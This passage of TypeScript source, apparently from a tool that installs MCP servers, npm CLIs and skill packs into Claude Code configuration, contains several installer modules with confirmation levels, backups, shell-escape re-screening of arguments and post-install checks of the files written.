// ADR 0004 idempotent contract: server already registered is not a failure.\n // v3.0.2: match on \"already exists\" substring (CC CLI error message no\n // longer mentions \".mcp.json\" specifically with --scope user).\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale verbatim — cross-platform,\n // instant, immune to cold-start timeout.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. The pre-\n// v3.0.2 `--scope project` writes `<cwd>/.mcp.json`, which fails with EPERM\n// when user runs `harnessed setup` from a read-only CWD (e.g. PowerShell\n// default `C:\\Windows\\System32`). `--scope user` writes `~/.claude.json`\n// user-global config, which is what `harnessed setup` actually wants (MCP\n// servers should be available across all projects after onboarding, not\n// only the current cwd).\n//\n// The pre-v3.0.2 IMPL NOTE referenced CC #54803 \"user scope broken\" — that\n// CC bug has since been resolved by the Claude Code team; `--scope user`\n// now reads back correctly. Verified via `claude mcp add --help` (2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude mcp list` and string-matched the server name in\n// stdout. User reports on Windows the spawn-based verify still times out 15s\n// after 3 sequential `claude mcp add` calls (warm process pool exhausted),\n// surfacing as `verify exit -1 ... [timeout]`. The underlying `claude mcp add\n// --scope user` did succeed — `~/.claude.json` was written — but the verify\n// spawn could not complete in budget. v3.0.3 reads `~/.claude.json` directly\n// via `fs.readFile` + `JSON.parse` + `mcpServers[name]` check (sister\n// `readClaudeConfig.ts`). Same authority (the file IS the contract; CC reads\n// it on startup), zero spawn, zero timeout risk, cross-platform.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const pkg = ctx.manifest.metadata.upstream.source\n const ver = install.npm_version\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json user-global config,\n // CWD-independent) instead of `--scope project` (writes <cwd>/.mcp.json,\n // EPERM when user CWD is read-only). harnessed setup is an onboarding\n // command — MCP servers should be available cross-project after install,\n // not scoped to whatever ephemeral CWD the user launched from.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'user',\n '--transport',\n 'stdio',\n name,\n '--',\n 'npx',\n '--yes',\n `${pkg}@${ver}`,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n // metadata.upstream.source pass through B1 only as YAML scalars; never as\n // shell tokens. Re-check in case a future schema change relaxes those fields.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global config) instead of\n // <cwd>/.mcp.json (project-local config). `--scope user` flag writes to\n // ~/.claude.json. Simulate entry textually — `claude mcp add --dry-run`\n // CLI flag is not documented, relying on it would be unstable contract.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify(\n { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n null,\n 2,\n )\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd\n // during the write; using homedir() avoids EPERM when user launches\n // harnessed from a read-only CWD (e.g. C:\\Windows\\System32).\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract (v1.0.4): server already registered is\n // not a failure. The pre-v3.0.2 error string was \"already exists in\n // .mcp.json\"; with --scope user the CC CLI now reports it as\n // \"already exists in\" the user-config (~/.claude.json or similar).\n // Match on the stable \"already exists\" substring.\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // `~/.claude.json` is the authoritative file CC reads on startup; `claude\n // mcp list` is just a pretty-printer over the same data. Reading the file\n // is cross-platform, instantaneous, and immune to the v3.0.2 cold-start\n // timeout that surfaced when 3 MCP installers ran sequentially in setup.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, ver, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / (c) abort.\n// Default is (c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n if (/\\bnpx\\b/.test(cmd)) return 'L1'\n return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n let level = detectLevel(install.cmd)\n let cmd = install.cmd\n const plan: DiffPlan = { files: [] }\n // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n // not previewable as a unified diff; the cmd echo is the audit trail.\n process.stdout.write(renderDiff(plan, ctx))\n if (level === 'L4')\n process.stdout.write(' (L4 system install — global PATH change; see cmd above)\\n')\n const conf = await confirmAt(level, { ...ctx, level })\n if (!conf.proceed) {\n if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n const choice = await p.select({\n message: 'L4 install requires --system. Choose:',\n options: [\n { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n { value: 'abort', label: 'Abort install' },\n ],\n initialValue: 'abort',\n })\n if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n // 'npx' branch: rebuild cmd + re-confirm at L1\n cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n level = 'L1'\n const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n } else {\n // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n }\n // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n // v3.0.2: explicit install timeout (60s default — Windows cold npm/npx cache friendly).\n const sp = await spawnCmd(ctx, cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s) — manifest authors retain control.\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n 'verify-failed',\n ),\n }\n }\n // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n // T3.1 records empty-string placeholder per state.ts schema.\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy --global):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy --global` is mandatory:\n// - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n// of symlinks (default symlinks break on Windows + on systems with\n// ~/.claude on a different volume than the npx cache)\n// - `--global` writes to ~/.claude/skills/ (user-scope) instead of cwd\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert the required flags are present\n// (preflight) to prevent silent mis-install via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n// - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n// - npm prefix mis-configured\n// - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// Extract `<owner/repo>` from `npx ... skills@<ver> add <owner/repo> ...`.\n// Used to compute the expected SKILL.md path. Falls back to manifest\n// metadata.name when the `add <ref>` token is absent.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n // If owner/repo, take repo (last segment). If single name, use as-is.\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // D2.1-5 — assert pinned `skills@1.5.7` is referenced in the cmd. We require\n // an explicit pin (not @latest) for reproducibility (ADR 0001). Research\n // pinned 1.5.7 (RESEARCH.md § 2); we don't hardcode \"1.5.7\" here because a\n // future minor bump (1.5.8) should be allowed via manifest update. We only\n // enforce shape: skills@<version-spec>, not @latest.\n if (!/\\bskills@(?!latest\\b)\\S+/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must reference a pinned skills@<version> (got: '${install.cmd.slice(0, 100)}'); @latest is forbidden for reproducibility (ADR 0001)`,\n 'skills-pin-required',\n ),\n suggest: 'change `skills@latest` → `skills@1.5.7` (current research-pinned stable)',\n },\n }\n }\n\n // D2.1-5 — assert --copy and --global flags are present. Either order, but\n // both are mandatory (research § 2). Silent omission would result in\n // broken-on-Windows symlinks (no --copy) or cwd-scope skills (no --global).\n if (!/\\B--copy\\b/.test(install.cmd) || !/\\B--global\\b/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must include both \\`--copy\\` and \\`--global\\` flags (D2.1-5)`,\n 'skills-flags-required',\n ),\n suggest:\n '`--copy` materializes files (Windows symlink-safe); `--global` targets ~/.claude/skills/ (user scope)',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan with\n // SKILL.md as the target file under HOME scope. rollback = rm -rf the\n // skill dir.\n const name = ctx.manifest.metadata.name\n const skillSegment = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillSegment)\n const skillMdPath = join(skillDir, 'SKILL.md')\n const plan: DiffPlan = {\n files: [\n {\n target: skillMdPath,\n scope: 'HOME',\n oldText: '',\n newText: `// new SKILL.md created by: ${install.cmd}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // npx invocation (cmd from manifest; B1 re-screened by spawnCmd).\n // v3.0.2: explicit install timeout (60s — npx cold cache + skills add filesystem traverse).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n // Use fs.access (faster, deterministic, cross-OS) instead of spawning `test`.\n try {\n await access(skillMdPath)\n } catch {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: {\n ...err(\n ctx,\n '/spec/verify/cmd',\n `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n 'verify-failed',\n ),\n suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n },\n }\n }\n\n // Optional secondary verify: run the manifest verify.cmd (often a grep\n // check) for parity with other installers and to surface install-specific\n // post-conditions like \"CLAUDE.md was patched\".\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n// L1: harnessed-local writes only → npx ephemeral\n// L2: per-user (~/.claude/skills/) → git-clone / npx-skill / npm local\n// L3: user-config (~/.claude.json / → cc-plugin-marketplace / mcp-stdio /\n// .mcp.json / hooks) mcp-http\n// L4: system PATH / global binary → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n 'npm-cli': installNpmCli,\n 'mcp-stdio-add': installMcpStdioAdd,\n 'cc-plugin-marketplace': installCcPluginMarketplace,\n 'git-clone-with-setup': installGitCloneWithSetup,\n 'npx-skill-installer': installNpxSkillInstaller,\n 'mcp-http-add': installMcpHttpAdd,\n // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n 'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n const method = manifest.spec.install.method\n switch (method) {\n case 'mcp-stdio-add':\n case 'mcp-http-add':\n case 'cc-plugin-marketplace':\n case 'cc-hook-add':\n // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n // mcp-stdio CC #54803 \"shared user state\" warning).\n return 'L3'\n case 'git-clone-with-setup':\n case 'npx-skill-installer':\n return 'L2'\n case 'npm-cli':\n return 'L4'\n }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n const installer = installers[manifest.spec.install.method]\n return installer({ manifest, opts, level: levelOf(manifest), cwd: process.cwd() })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed install <name>` executes immediately by default (non-expert UX;\n// v3.0.1 user feedback — dry-run 是高级用户概念,默认应 apply)。`--dry-run` flag\n// is opt-in 高级用户预览。`--apply` flag 保留 backward-compat no-op alias (旧\n// 脚本仍 work, 不破)。Sister setup.ts pattern verbatim (L5-7 IMPL NOTE).\n// For automation (CI / scripts), `--non-interactive` 仍 require `--apply` or\n// `--dry-run` (H1 gate) 以避免 @clack/prompts deadlock 当 stdin 非 TTY。\n//\n// IMPL NOTE (H1 sister review fix — pre-action flag validation): we validate\n// the flag combination BEFORE invoking the installer. `--non-interactive`\n// without an explicit apply/dry-run choice would otherwise reach\n// confirmAt() / spawnCmd() and deadlock waiting for a prompt response that\n// will never arrive. Failing fast with exit 2 + actionable hint avoids the\n// \"harnessed hangs in CI\" footgun.\n//\n// Exit code mapping (ADR 0004 contract 6 — no silent failure):\n// 0 → install succeeded (ok: true)\n// 1 → install failed (ok: false; print error.suggest if present)\n// 2 → user-aborted / flag-missing / platform-mismatch (not an error)\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\n// Phase 3.4 W0.2 #AD — Path A LOCKED per RESEARCH § 6.2 A1 ASSUMED LOW risk\n// (Node 22 + TypeScript 5.6+ supports `with { type: 'json' }` native ES2022\n// import attributes per ECMAScript 2025 stage 4). Replaces hardcoded '0.3.0'\n// literal at L116 with pkg.version (single source of truth = package.json L3).\nimport pkg from '../../package.json' with { type: 'json' }\nimport { runInstall } from '../installers/index.js'\nimport type { InstallError, InstallOpts } from '../installers/lib/types.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n system?: boolean\n nonInteractive?: boolean\n fullDiff?: boolean\n color?: boolean // commander turns --no-color into color: false\n knownGood?: boolean // ← Phase 3.3 W1 T1.9 ADD (D-03 YAML version lock consume)\n}\n\nfunction formatError(e: InstallError): string {\n const head = `error: ${e.message}`\n const where = e.path && e.path !== '/' ? `\\n at ${e.path}` : ''\n const tip = e.suggest ? `\\n fix: ${e.suggest}` : ''\n return `${head}${where}${tip}`\n}\n\nexport function registerInstall(program: Command): void {\n program\n .command('install <name>')\n .description('Install an upstream (immediate by default — use --dry-run for preview)')\n .option('--apply', '(deprecated; kept for backward compat — install is immediate by default)')\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--system', 'allow L4 system-wide install (e.g. global npm install)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .option('--full-diff', 'expand diffs longer than 200 lines')\n .option('--no-color', 'disable ANSI colors (auto-detected when piped)')\n .option(\n '--known-good',\n 'use known-good version lock from versions/<harnessed-ver>-known-good.yaml',\n )\n .action(async (name: string, raw: RawOpts) => {\n // H1 pre-action flag gate (see file header IMPL NOTE).\n validateNonInteractiveFlags(raw, 'install <name>')\n\n // Phase 3.3 W1 T1.8 ADD — D-01 alias redirect (D-02 silent install,\n // NO console output per R7.5 验收 \"install 通过\" 语义对齐; doctor 7th\n // check is the human-readable deprecation audit surface).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n console.error(` fix: run 'harnessed audit' to inspect manifest issues`)\n process.exit(1)\n }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n // `--apply` 旧 flag 保留 no-op alias (向后兼容)。dryRun=true → preview only。\n // dryRun=false → immediate execute (无论 --apply 是否传入,默认 apply 为 true)。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: raw.system === true,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: raw.fullDiff === true,\n color: raw.color === false ? false : 'auto',\n }\n\n // Phase 3.3 W1 T1.9 ADD — D-03 known-good lock consume (lazy load only\n // when flag set per Karpathy YAGNI Discretion lock).\n if (raw.knownGood) {\n const { getPinnedVersion } = await import('../manifest/knownGood.js')\n const harnessedVer = pkg.version\n const pinned = getPinnedVersion(v.manifest.metadata.name, harnessedVer)\n if (pinned && v.manifest.spec.install.method === 'npm-cli') {\n ;(v.manifest.spec.install as { npm_version?: string }).npm_version = 